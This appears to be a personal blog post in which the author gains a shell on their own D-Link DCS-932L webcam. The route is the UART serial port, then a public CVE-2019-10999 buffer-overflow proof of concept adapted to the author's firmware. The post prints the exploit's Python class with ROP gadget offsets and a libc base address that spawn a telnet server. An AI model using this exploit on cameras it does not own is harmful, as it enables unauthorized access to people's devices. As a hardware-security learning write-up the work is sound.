Introduction and Story
I remember, more then a year ago I watched this fantastic video from stacksmashing about reverse engineering and rebuilding a custom firmware for a webcam. I was absolutely stunned that this is possibile and thought about to try this some time on a device I have at home.
As usual, time passes and I stuck on many other projects and learning topics so I completely forgot about this project until I watched the recently released talks from the OffensiveCon22. More or less by a random pick I watched this interesting talk about pwning routers via the internet. Triggered again by the topic of hacking hardware devices I decided to give this a try.
This is a three part long story
- RE: DC-932L Hacking a Webcam Part 1 – Getting a Shell
- RE: DC-932L Hacking a Webcam Part 2 – Extracting the Firmware
- RE: DC-932L Hacking a Webcam Part 3 – Building the Firmware
First of all I wanted to get a shell on my device. I checked out the YT channel of the Flashback Team and found this very good video about how to get a shell via the UART port.
I instantly started to disassemble some of my IoT devices and searched for a UART port. Although my desired target was another, more up to date device, I decided to start with something where already some resources are online available. This leads me to the D-Link DCS-932L web cam.
After some Google-Fu I found a very on point video and tutorial about how to use the UART Port to get a shell.
UART
I ordered this (no affiliate) TTL Serial Adapter and followed the instructions from the YT video. Unfortunately there where no pin holes on my model so I was forced to solder some contacts to it.
Although it was a little bit fiddly it was not to hard.

Connected the wires to the TTL and plugin the USB to my laptop.

On the laptop we can check if the TTL is recognized correctly
lsusb

now we need to find the tty interface for it
ls /dev | grep USB

finally we can connect to the tty with screen and the desired baud rate, there a couple of ways to figure out the correct one, as there only a few possible, the fastes way is maybe to try and error it.
screen /dev/ttyUSB0 57600
finally we can boot up the device and bingo, I got my first direct device output 🙂

Yea 🎉 with the username admin and your configured web password (empty by default) we can logon to the shell

Well this was easier then expected! I started to look around in the system, tried to spawn a reverse shell (you can do this via openSSL), but this busy box environment is pretty cut off, no curl, no wget, no ncat, only a few commands are possible but at least you can start a telnet server with the command and connect to it from remote.
telnetd
Now we can look for some more interesting stuff like reading sensitive information out of the nvram
/bin/ralink_init rt2860_nvram_show

reading a specific setting is also possible
nvram_get 2860 SSID

we can also change the settings in the nvram
nvram_set AdminPassword 123
CVE-2019-10999
Googling a litte bit more about the device I finally found an already disclosed exploit for some DS models.
You need to provide credentials but with this exploit you might be able to start a telnet server via a HTTP get call. The exploit uses a buffer overflow vulnerability in the alphap webserver which is running on the device so you don’t need to open and solder to get a shell.
I can really recommend to read the blog post about the finding (at the end of the readme).
I cloned the repository and tried to exploit my webcam but unfortunately it seams my model is not implemented in the POC, also my firmware is a really old one.

So I started to analyse the exploit code and tried to find a way to extend the POC to my model and version
In the source code we can see the error message comes from this block

It seams that the module for the file is missing. I created a new file DCS-932L.py
in the folder CVE-2019-10999\DlinkExploit\overflows
first with the same content as the file DCS-932LB1.py has and created a function for the version number too. But the exploit failed, the server crashed and there was no code execution. From the blog post about the exploit I learned that we need to provide the correct base address of libc. I connected to the UART Shell again and checked the libc file mapping.

I adjusted the libc_base address but the exploit still failed. Well there are some other offsets defined for the ROP gadgets for the different models, but to figure these out I would need debug the alphap webserver and with setup the emulating MIPS architecture this was a step I don´t wanted to do. As a final approach I checked the other model scripts and figured out, that these libc base address as also defined in the DCS-930L.py
I copied the file, adjusted the version number and filename and tried the exploit again.
from . import overflow
class Overflow(overflow.Overflow):
def __init__(self):
"""
----------------------------------------------------------------
| Gadget Name | Gadget Offset | Gadget Summary |
----------------------------------------------------------------
| ROP1 | 0x00050DE4 | addiu $s2, $sp, 0x1E8+var_F8 |
| | | move $a0, $s2 |
| | | move $t9, $s0 |
| | | jalr $t9 |
----------------------------------------------------------------
"""
super(Overflow, self).__init__()
self.padding_after_ra = 0x4
self.distance_to_s0 = 0x10
self.s0 = 0x4BD20 # Offset of system in libuClibc-0.9.28.s0
self.ra = 0x50DE4
self.rop_padding = 0x1E8 - 0xF8
def _1_16_4(self):
self.libc_base = 0x2AAEF000
And yes! The exploit now also works for my model and firmware version, the webserver crashes (it will restart after a minute or so by default) and a telnet server will spawn on port 5555 🎉

I created this pull request for the original POC but you can also find the extended POC on my github.
Follow my next post where I extracting the firmware: RE: DC-932L Hacking a Webcam Part 2 – Extracting the Firmware